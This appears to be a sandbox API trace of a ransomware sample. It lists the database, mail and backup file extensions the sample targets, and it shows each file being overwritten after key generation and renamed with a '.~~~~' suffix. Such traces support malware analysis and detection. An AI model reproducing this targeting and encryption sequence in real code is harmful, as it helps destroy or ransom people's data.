	[0145.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".TXT") returned 0x0
	[0145.745] lstrlenW (lpString=".MDF") returned 4
	[0145.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".MDF") returned 0x0
	[0145.745] lstrlenW (lpString=".bdb") returned 4
	[0145.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".bdb") returned 0x0
	[0145.745] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0145.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.745] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3956b8) returned 1
	[0145.746] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.746] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0145.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0145.746] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26573644203) returned 1
	[0145.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc047a990, dwHighDateTime=0x1d60e1e)) 
	[0145.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0145.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0145.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0145.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3800e8
	[0145.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3800e8 | out: hHeap=0x300000) returned 1
	[0145.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d00c0
	[0145.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6d00
	[0145.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d00c0 | out: hHeap=0x300000) returned 1
	[0145.747] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.747] GetLastError () returned 0x0
	[0145.748] GetLastError () returned 0x0
	[0145.748] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.748] GetLastError () returned 0x0
	[0145.748] GetLastError () returned 0x0
	[0145.748] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x794, lpOverlapped=0x0) returned 1
	[0145.750] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff86c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.750] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x794, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x794, lpOverlapped=0x0) returned 1
	[0145.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.750] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.750] WriteFile (in: hFile=0x10c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.750] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.750] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.750] CloseHandle (hObject=0x10c) returned 1
	[0145.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6d00
	[0145.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.~~~~")) returned 1
	[0145.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6d00 | out: hHeap=0x300000) returned 1
	[0145.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0145.753] GetLastError () returned 0x0
	[0145.753] RtlWakeConditionVariable () returned 0x0
	[0145.754] GetCurrentThreadId () returned 0x3a4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".scr") returned 0x0
	[0145.754] lstrlenW (lpString=".cmd") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".cmd") returned 0x0
	[0145.754] lstrlenW (lpString=".dll") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".dll") returned 0x0
	[0145.754] lstrlenW (lpString=".bat") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".bat") returned 0x0
	[0145.754] lstrlenW (lpString=".cpl") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".cpl") returned 0x0
	[0145.754] lstrlenW (lpString=".sys") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".sys") returned 0x0
	[0145.754] lstrlenW (lpString=".msc") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".msc") returned 0x0
	[0145.754] lstrlenW (lpString=".com") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".com") returned 0x0
	[0145.754] lstrlenW (lpString=".lnk") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".lnk") returned 0x0
	[0145.754] lstrlenW (lpString=".msp") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".msp") returned 0x0
	[0145.754] lstrlenW (lpString=".pif") returned 4
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".pif") returned 0x0
	[0145.754] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0145.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.756] lstrlenW (lpString=".sqb") returned 4
	[0145.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".sqb") returned 0x0
	[0145.756] lstrlenW (lpString=".ost") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".ost") returned 0x0
	[0145.757] lstrlenW (lpString=".txt") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".txt") returned 0x0
	[0145.757] lstrlenW (lpString=".mdt") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".mdt") returned 0x0
	[0145.757] lstrlenW (lpString=".BDB") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".BDB") returned 0x0
	[0145.757] lstrlenW (lpString=".eql") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".eql") returned 0x0
	[0145.757] lstrlenW (lpString=".DBF") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DBF") returned 0x0
	[0145.757] lstrlenW (lpString=".EQL") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".EQL") returned 0x0
	[0145.757] lstrlenW (lpString=".FDB") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".FDB") returned 0x0
	[0145.757] lstrlenW (lpString=".EDB") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".EDB") returned 0x0
	[0145.757] lstrlenW (lpString=".DACPAC") returned 7
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DACPAC") returned 0x0
	[0145.757] lstrlenW (lpString=".VHD") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".VHD") returned 0x0
	[0145.757] lstrlenW (lpString=".DBV") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DBV") returned 0x0
	[0145.757] lstrlenW (lpString=".dacpac") returned 7
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".dacpac") returned 0x0
	[0145.757] lstrlenW (lpString=".sdf") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".sdf") returned 0x0
	[0145.757] lstrlenW (lpString=".accdb") returned 6
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".accdb") returned 0x0
	[0145.757] lstrlenW (lpString=".DBX") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DBX") returned 0x0
	[0145.757] lstrlenW (lpString=".MDT") returned 4
	[0145.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".MDT") returned 0x0
	[0145.757] lstrlenW (lpString=".SQB") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".SQB") returned 0x0
	[0145.758] lstrlenW (lpString=".vhd") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".vhd") returned 0x0
	[0145.758] lstrlenW (lpString=".bac") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".bac") returned 0x0
	[0145.758] lstrlenW (lpString=".mdf") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".mdf") returned 0x0
	[0145.758] lstrlenW (lpString=".BAK") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".BAK") returned 0x0
	[0145.758] lstrlenW (lpString=".BAC") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".BAC") returned 0x0
	[0145.758] lstrlenW (lpString=".dbs") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".dbs") returned 0x0
	[0145.758] lstrlenW (lpString=".vhdx") returned 5
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".vhdx") returned 0x0
	[0145.758] lstrlenW (lpString=".NDF") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".NDF") returned 0x0
	[0145.758] lstrlenW (lpString=".dat") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".dat") returned 0x0
	[0145.758] lstrlenW (lpString=".DBS") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DBS") returned 0x0
	[0145.758] lstrlenW (lpString=".CKP") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".CKP") returned 0x0
	[0145.758] lstrlenW (lpString=".edb") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".edb") returned 0x0
	[0145.758] lstrlenW (lpString=".PST") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".PST") returned 0x0
	[0145.758] lstrlenW (lpString=".dbf") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".dbf") returned 0x0
	[0145.758] lstrlenW (lpString=".SQL") returned 4
	[0145.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".SQL") returned 0x0
	[0145.759] lstrlenW (lpString=".pst") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".pst") returned 0x0
	[0145.759] lstrlenW (lpString=".dbv") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".dbv") returned 0x0
	[0145.759] lstrlenW (lpString=".SDF") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".SDF") returned 0x0
	[0145.759] lstrlenW (lpString=".dtxs") returned 5
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".dtxs") returned 0x0
	[0145.759] lstrlenW (lpString=".db3") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".db3") returned 0x0
	[0145.759] lstrlenW (lpString=".OST") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".OST") returned 0x0
	[0145.759] lstrlenW (lpString=".dbx") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".dbx") returned 0x0
	[0145.759] lstrlenW (lpString=".DB3") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DB3") returned 0x0
	[0145.759] lstrlenW (lpString=".DAT") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DAT") returned 0x0
	[0145.759] lstrlenW (lpString=".VHDX") returned 5
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".VHDX") returned 0x0
	[0145.759] lstrlenW (lpString=".ndf") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".ndf") returned 0x0
	[0145.759] lstrlenW (lpString=".DB") returned 3
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DB") returned 0x0
	[0145.759] lstrlenW (lpString=".sql") returned 4
	[0145.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".sql") returned 0x0
	[0145.760] lstrlenW (lpString=".MYD") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".MYD") returned 0x0
	[0145.760] lstrlenW (lpString=".DBT") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DBT") returned 0x0
	[0145.760] lstrlenW (lpString=".ACCDB") returned 6
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".ACCDB") returned 0x0
	[0145.760] lstrlenW (lpString=".fdb") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".fdb") returned 0x0
	[0145.760] lstrlenW (lpString=".bak") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".bak") returned 0x0
	[0145.760] lstrlenW (lpString=".myd") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".myd") returned 0x0
	[0145.760] lstrlenW (lpString=".DTXS") returned 5
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".DTXS") returned 0x0
	[0145.760] lstrlenW (lpString=".ckp") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".ckp") returned 0x0
	[0145.760] lstrlenW (lpString=".dbt") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".dbt") returned 0x0
	[0145.760] lstrlenW (lpString=".db") returned 3
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".db") returned 0x0
	[0145.760] lstrlenW (lpString=".TXT") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".TXT") returned 0x0
	[0145.760] lstrlenW (lpString=".MDF") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".MDF") returned 0x0
	[0145.760] lstrlenW (lpString=".bdb") returned 4
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".bdb") returned 0x0
	[0145.760] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0145.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.761] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3956b8) returned 1
	[0145.762] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.762] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0145.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0145.762] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26575228514) returned 1
	[0145.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc04a0af0, dwHighDateTime=0x1d60e1e)) 
	[0145.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0145.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0145.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0145.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3800b0
	[0145.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3800b0 | out: hHeap=0x300000) returned 1
	[0145.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d00c0
	[0145.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c71c0
	[0145.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d00c0 | out: hHeap=0x300000) returned 1
	[0145.763] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.763] GetLastError () returned 0x0
	[0145.764] GetLastError () returned 0x0
	[0145.764] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.764] GetLastError () returned 0x0
	[0145.764] GetLastError () returned 0x0
	[0145.764] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x722, lpOverlapped=0x0) returned 1
	[0145.766] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff8de, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.766] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x722, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x722, lpOverlapped=0x0) returned 1
	[0145.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.766] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.766] WriteFile (in: hFile=0x10c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
